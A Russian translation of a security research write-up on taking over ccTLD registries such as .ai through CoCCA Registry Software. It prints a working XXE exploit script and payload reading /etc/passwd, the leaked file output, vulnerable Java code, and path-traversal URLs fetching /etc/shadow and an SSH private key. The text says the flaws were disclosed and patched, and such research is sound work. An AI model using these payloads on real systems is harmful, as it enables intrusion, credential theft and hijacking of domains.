В течение нескольких последних десятилетий интернет выстраивался на основе спецификаций и протоколов, которые со временем нередко забывались. Проводимые нами исследования зачастую акцентировались на наиболее часто атакуемых целях (подробнее в статье Web Hackers vs. The Auto Industry), а в течение последних недель мы решили изучить безопасность реестров ccTLD/TLD по всему миру.

Наши усилия в этом направлении привели к получению контроля над зонами DNS следующих ccTLDs: .ai, .bj, .bw, .ci, .gl, .ke, .kn, .lb, .ly, .mr, .ms, .mz, .ng, .py, .rw, .so, .ss, .td, .zm..

Основную работу проделали Сэм Карри, Бретт Буерхаус, Рис Элсмор и Шубхам Шах.

▍ Что такое реестр, регистратор и EPP-сервер?


Что касается реестров, то они представляют наивысший уровень в цепочке. Реестры отвечают за управление всеми доменами, зарегистрированными в их зоне, и обеспечивают для взаимодействующих с ними регистраторов важную информацию.

Через взлом реестра мы в конечном итоге получаем контроль над каждым доменом в его зоне, независимо от того, какой за него отвечает регистратор.

Регистратор здесь выступает посредником между потребителем и реестром. Когда вы покупаете у него домен, он связывается с реестром и регистрирует этот домен.

EPP (Extensible Provision Protocol, расширяемый протокол предоставления информации) определяет для регистраторов унифицированный способ взаимодействия с реестрами доменных имён посредством XML-сообщений.

Обычно EPP реализуется в виде API между веб-интерфейсом регистратора и реестром. Такая интеграция позволяет регистратору мгновенно реагировать на запросы клиентов и точно понимать, завершилось ли его действие успешно. Если вдруг какое-либо из таких действий, например регистрация домена, будет отложено, реестр уведомит об этом регистратора служебным сообщением.

EPP-серверы являются, пожалуй, одним из наиболее критических элементов инфраструктуры в мире доменов.

На основе этого контекста вы можете понять, что критическая уязвимость, влияющая на реестр или его EPP-сервер, по сути даёт хакерам карт-бланш.

Но чисто исторически получение контроля над всей корневой зоной не является новой концепцией, так как уже реализовывалось за счёт неправильных настроек DNS. [1] [2] [3]

И хотя перехват контроля над ccTLD через DNS – это круто, нашей целью был захват целых зон через уязвимости, влияющие на внутренние протоколы и веб-приложения, осуществляющие работу реестров в интернете.

▍ Что такое EPP-протокол


По факту EPP довольно прост. Обычно он выполняется на порту 700, и всё взаимодействие с EPP-сервером происходит посредством XML-сообщений, передаваемых по SSL/TLS. Реестры используются для реализации EPP-сервера, через который с ними взаимодействует регистратор.

Притом что сам протокол весьма несложен, во многих реестрах предпринимаются усилия для обеспечения безопасного доступа к их EPP-серверам. Делается это путём использования TLS со взаимной аутентификацией или истребования определённых сертификатов в вашей цепочке CA. Взаимная аутентификация в этом случае отличается от использования сертификатов на стороне клиента.

Вот пример EPP-сообщения:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0"><hello/></epp>

EPP-протокол огромен, но почти вся его функциональность становится доступной только после аутентификации на EPP-сервере. Этот протокол проще понять, если представить себя в роли продавца доменов, которому необходимо выполнять административные действия в отношении принадлежащих ему ресурсов.

Он может подключаться к реестру EPP-сервера, аутентифицировать его, после чего совершать необходимые действия с доменами (обновлять записи WHOIS, передавать коды переноса DNS). У него должна быть возможность работать только с доменами, находящимися под его контролем.

Согласно Wikipedia, этот протокол использовался множеством реестров доменных имён ccTLD, такими как: .ac, .ag, .ai, .as, .ar, .at, .au, .be, .br, .bz, .ca, .cat, .cc, .ch, .cl, .cn, .co, .cr, .cx, .cz, .dk, .dm, .ee, .es (по HTTPS), .eu, .fi, .fm, .fr, .gg, .gr (по HTTPS), .gs, .hn, .ht, .il, .im, .in, .io, .it (по HTTPS), .je, .ke, .ki, .ky, .kz, .la, .lc, .li, .lt, .lu, .lv, .md, .me, .mk, .mn, .ms, .mu, .mx, .na, .nf, .ng, .nl, .no, .nu, .nz (EPP-коды, называемые UDAIs), .pe, .pk, .pl (по HTTPS), .ps, .pt, .ru, .ro, .sc, .se, .sh, .si, .su, .tl, .tm .tv, .tw, .ua, .uk, .us, .vc, .ve и .za, а также реестрами ENUM, например работающие с кодами стран +31, +41, +43, +44 и +48[1].

▍ Атака на протокол EPP


Взламывая любую систему, нельзя делать предположения относительно её безопасности, так как тогда вы рискуете не протестировать определённые классы уязвимостей. Взглянув на этот вопрос в контексте безопасности приложений, мы тут же подумали о проверке этого протокола на возможность внедрения внешних XML-сущностей.

Для этого мы изменили написанный на Python EPP-клиент и создали полезную XML-нагрузку в правильном формате. В самом своём начале эта полезная нагрузка содержала нашу XXE-атаку. Путём сканирования интернета и использования пассивных данных для IP при открытом порте 700 мы собрали большой список EPP-серверов для исследования.

Наша проверка оказалась чрезвычайно эффективной:

from epp import epp_client
import sys

ip = sys.argv[1]
try:
	conn = epp_client.EPPConnection(
		host=ip,
		port=700,
		user='epp_user_01',
		password='some_secret',
		verbose=True,
		return_soup=True,
	)
	conn.open()
	print(conn.call("<?xml version=\"1.0\" standalone=\"no\"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]> <epp xmlns=\"urn:ietf:params:xml:ns:epp-1.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"urn:ietf:params:xml:ns:epp-1.0 epp-1.0.xsd\"> <command> <poll op='req' /> <clTRID>&xxe;</clTRID> </command> </epp>".format(ip)))
except:
	print('failed lol')

Выполнение этого кода для уязвимого сервера давало такой результат:

<?xml version="1.0" encoding="UTF-8" standalone="no"?><html><body><epp xmlns="urn:ietf:params:xml:ns:epp-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemalocation="urn:ietf:params:xml:ns:epp-1.0 epp-1.0.xsd"><response><result code="2001"><msg>Command syntax error</msg><extvalue><value xmlns:epp="urn:ietf:params:xml:ns:epp-1.0"><epp:undef></epp:undef></value><reason>XML Parser: unknown-55ccdac19830:0: Schemas validity error : Element '{urn:ietf:params:xml:ns:epp-1.0}clTRID': [facet 'maxLength'] The value has a length of '1845'; this exceeds the allowed maximum length of '64'.
unknown-55ccdac19830:0: Schemas validity error : Element '{urn:ietf:params:xml:ns:epp-1.0}clTRID': 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
sysadm:x:1000:1000:Unprivileged Administrator Account,,,:/home/sysadm:/bin/bash
ansible:x:1001:1001:ansible user:/home/ansible:/bin/bash
sssd:x:106:112:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
bareos:x:107:113:bareos,,,:/var/lib/bareos:/usr/sbin/nologin
nagios:x:108:114::/var/lib/nagios:/usr/sbin/nologin
stunnel4:x:109:115::/var/run/stunnel4:/usr/sbin/nologin
ntp:x:110:116::/nonexistent:/usr/sbin/nologin
_lldpd:x:111:117::/var/run/lldpd:/usr/sbin/nologin
postfix:x:112:119::/var/spool/postfix:/usr/sbin/nologin
' is not a valid value of the atomic type '{urn:ietf:params:xml:ns:epp-1.0}trIDStringType'.
</reason></extvalue></result><trid><svtrid>RO-549-1682827377068386</svtrid></trid></response></epp>

На удивление мы увидели большое число EPP-серверов, уязвимых к этой простой XXE-атаке. Мы получили более 50 обратных вызовов на наш сервер Burp Collaborator, и в ходе их изучения выявили общий паттерн. На большинстве уязвимых EPP-серверов выполнялась программа управления реестром под названием CoCCA Registry Software.

Это ПО позволяет реестрам предварительно загружать свои операции и обеспечивает всю функциональность, необходимую для работы с TLD/ccTLD. Оно сыграло важную роль в распространении небольших ccTLD, поскольку у них обычно недостаёт ресурсов для самостоятельного создания всей этой функциональности.

Обычно ccTLD управляются малыми командами, и иногда эта работа поручается сторонним университетам или частным специалистам. Мы порой не осознаём всю степень разбросанности ресурсов в глобальной инфраструктуре интернета.

▍ Изучение CoCCA Registry Software


Это программное обеспечение включает в себя веб-приложение для управления реестром, а также встроенный EPP-сервер, на котором мы и обнаружили уязвимость к XXE-атаке. Написано это приложение исключительно на Java и сопряжено с базой данных Postgres.

Нам удалось быстро определить основную причину уязвимости, когда мы просмотрели класс EppConnection.java, который инициализировал XML-ридер следующим кодом:

/*     */   public EppConnection() {
/*     */     try {
/* 106 */       DocumentBuilderFactory dFactory = DocumentBuilderFactory.newInstance();
/* 107 */       dFactory.setNamespaceAware(true);
/* 108 */       dFactory.setIgnoringElementContentWhitespace(true);
/* 109 */       this.dBuilder = dFactory.newDocumentBuilder();
/*     */       
/* 111 */       TransformerFactory tFactory = TransformerFactory.newInstance();
/* 112 */       this.transformer = tFactory.newTransformer();
/* 113 */       this.transformer.setOutputProperty("encoding", "UTF-8");
/* 114 */     } catch (ParserConfigurationException e) {
/* 115 */       e.printStackTrace(System.out);
/* 116 */     } catch (TransformerConfigurationException e) {
/* 117 */       e.printStackTrace(System.out);
/*     */     } 
/*     */   }

Как видно в этом коде, создающая документы фабрика, используемая для всей обработки XML, не настроена на игнорирование внешних сущностей или DTD (Document Type Definition, определений типа документа). Из-за этого любая XML-обработка, выполняемая встроенным EPP-сервером, была уязвима к XXE.

Приведённая ниже полезная XXE-нагрузка успешно выполнилась, когда EPP-сервер обрабатывал XML:

<?xml version="1.0" standalone="no"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <epp xmlns="urn:ietf:params:xml:ns:epp-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:ietf:params:xml:ns:epp-1.0 epp-1.0.xsd"> <command> <poll op='req' /> <clTRID>&xxe;</clTRID> </command> </epp>

Этот пример также использовался в нашем простом скрипте проверки, показанном выше. В нём сущность SYSTEM можно изменить на URL-адрес Burp Collaborator для перехвата обращений с внешних серверов.

И хотя эта уязвимость к XXE оказалась существенным открытием, нам стало любопытно разобраться в системе безопасности этой программы управления реестром, поскольку она активно используется в работе значительной части интернета.

Проверяя файл web.xml, мы начали сопоставлять маршруты предварительной аутентификации, пока не наткнулись на следующее определение сервлета:

<!-- Cities servlet for contact create -->
	<servlet>
		<servlet-name>CitiesServlet</servlet-name>
		<servlet-class>cx.cocca.utils.CitiesServlet
		</servlet-class>
	</servlet>
	<servlet-mapping>
		<url-pattern>/cities</url-pattern>
		<servlet-name>CitiesServlet</servlet-name>
	</servlet-mapping>

Код этого сервлета содержал уязвимость раскрытия локальных файлов:

public class CitiesServlet extends HttpServlet {
  private static final Log log = LogFactoryImpl.getLog(cx.cocca.utils.CitiesServlet.class);
  
  private static final String FILE = "/cities/cities_";
  
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String country = req.getParameter("country");
    String fileName = "/cities/cities_" + country;
    log.debug("File name is " + fileName);
    try (InputStream is = getClass().getResourceAsStream(fileName)) {
      StringBuilder sb = new StringBuilder("{\"cities\": [");
      if (is != null) {
        List<String> cities = IOUtils.readLines(is, "UTF-8");
        boolean first = true;
        for (String city : cities) {
          if (!first)
            sb.append(", "); 
          sb.append("\"");
          sb.append(city);
          sb.append("\"");
          first = false;
        } 
      } 
      sb.append("]}");
      resp.setContentType("application/json");
      resp.getWriter().println(sb.toString());
    } catch (Exception e) {
      log.error("Error loading cities", e);
    } 
  }
}


Нам удалось связать эту уязвимость с уязвимостью XXE, в результате чего мы получили доступ к любому файлу в локальной системе.

XXE дала возможность понять структуру файлов и каталогов системы, а эта уязвимость позволила легко и просто скачивать любой файл.

XXE также можно использовать для изъятия файлов, и при помощи трюка с FTP получать такие, которые содержат новые строки или управляющие символы.

Учитывая, что мы смогли получить доступ к файлу /etc/shadow на большинстве серверов, выполняющих это ПО, нам стало ясно, что это можно сделать для любого файла в системе, а само приложение, похоже, выполнялось как корневое.

▍ Подтверждение возможного воздействия


Теперь, когда мы заложили фундамент для компрометации серверов с программным обеспечением CoCCA, осталось понять, какой урон потенциально может нанести атакующий?

Для подтверждения возможного масштаба угрозы с учётом развития ИИ мы сосредоточили свои усилия на ccTLD .AI. Через выявленные уязвимости мы смогли получить следующие файлы:

https://epp.whois.ai/cities?country=/../../../../../../../../etc/shadow
https://epp.whois.ai/cities?country=/../../../../../../../../home/vince/.ssh/known_hosts
https://epp.whois.ai/cities?country=/../../../../../../../../opt/resin/log/oteaccess.log
https://epp.whois.ai/cities?country=/../../../../../../../../home/garth_cocca/.bash_history
https://epp.whois.ai/cities?country=/../../../../../../../../opt/resin/conf/resin.xml
https://epp.whois.ai/cities?country=/../../../../../../../../root/.psql_history
https://epp.whois.ai/cities?country=/../../../../../../../../home/vince/.ssh/id_rsa

Мы обнаружили, что одним из мейнтейнеров реестра .AI является человек по имени Винс.

Поскольку файлы, полученные через эту уязвимость, предоставили нам закрытый ключ SSH, мы убедились, что можем авторизоваться на его сервере, который содержал зашифрованные с помощью GPG бэкапы всего реестра .AI.

Мы связались с Винсом, и он с благодарностью свёл нас с нужными людьми, а также всячески содействовал в избавлении его системы от уязвимостей, отключив её от сети на время исправления.

В ходе общения по WhatsApp Винс подтвердил, что взлом этого сервера предоставил бы нам полный контроль над доменом .ai:



Перевод диалога
Я: Один вопрос относительно вашего сервиса: если атакующий сможет получить доступ к панели управления реестром, сможет ли он обновлять домены? Мы анализируем возможное воздействие, и нам стало интересно, как всё это работает.

Винс: Да, если он получит доступ к панели администратора, то сможет делать всё, что захочет.

Я: Понятно, спасибо, что подтвердили.

Винс: В Cocoa думают, что эти проблемы были исправлены. Можете проверить app.whois.ai и сообщить, так ли это?

Я: Конечно, попробую воспроизвести атаки.

Винс: Спасибо.

Я: Не получается воспроизвести ни XXE, ни LFD.

Винс: Хорошо.
Спасибо.

Но, к сожалению, на этом потенциал уязвимости не заканчивается. В ходе чтения файлов с разных серверов реестров, выполняющих CoCCA, мы обнаружили файл под названием upload-files-box-com.sh.

Как предполагает его имя, этот скрипт отвечает за создание бэкапа всей базы данных и его загрузку на центральный аккаунт ресурса box.com. Мы убедились в действительности этих учётных данных и том, что они ведут к возможности компрометировать почти любой ведущий ccTLD, выполняющий приложение CoCCA:


Только не это…

Эти бэкапы баз данных, по сути, позволяют получить полный контроль. Как только получен административный доступ к приложению CoCCA, у нас появляется возможность управлять name-серверами каждого домена этого ccTLD. Кроме того, атакующий может перемещать домены, которые вам не принадлежат.

Всю эту информацию мы сообщили подверженным уязвимостям сторонам, и все EPP-серверы с программным обеспечением CoCCA, которые управлялись этой центральной сущностью, были пропатчены. Неизвестно, продолжают ли они и далее загружать все бэкапы баз данных на центральный аккаунт box.com, но стало ясно одно – интернет очень и очень хрупок.

Последняя версия CoCCA содержит патчи для всех обнаруженных нами уязвимостей.

▍ Дальнейшая работа


Мы подробно рассмотрели CoCCA, но существует ещё два крупных программных продукта для управления реестром, исходный код которых был сделан доступным.

Первый – это разработанный и используемый Google инструмент Nomulus, который можно найти здесь.

К счастью, благодаря защитному программированию Google он оказался неуязвим для XXE-атак через сообщения EPP:

  private static XMLInputFactory createInputFactory() throws FactoryConfigurationError {
    // Предотвращает XXE-атаки.
    XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
    xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
    xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
    return xmlInputFactory;
  }

Мы провели немало времени, изучая эту программу, и обнаружили конечную точку, к которой, похоже, не должен предоставляться доступ без аутентификации. Но учитывая, что нам не удалось подтвердить связанных с ней уязвимостей безопасности, сообщать об этом в Google мы не стали.

Ещё одним инструментом для работы с реестром, послужившим отличным экземпляром для исследования, стал Fred, управляемый командой nic.cz. Его используют многие реестры, и любая уязвимость в предварительной аутентификации может оказаться критической для инфраструктуры домена следующих ccTLD:



▍ Напоследок


Мы благодарим команду CoCCA за исправление всех выявленных нами проблем, а также Винса с nic.ai и Майка Дэмма из Zuffix Domains.

Telegram-канал с розыгрышами призов, новостями IT и постами о ретроиграх ????️

Комментарии (1)


  1. kirill-cite
    03.09.2023 11:58
    +1

    Спасибо за перевод. Отличная статья!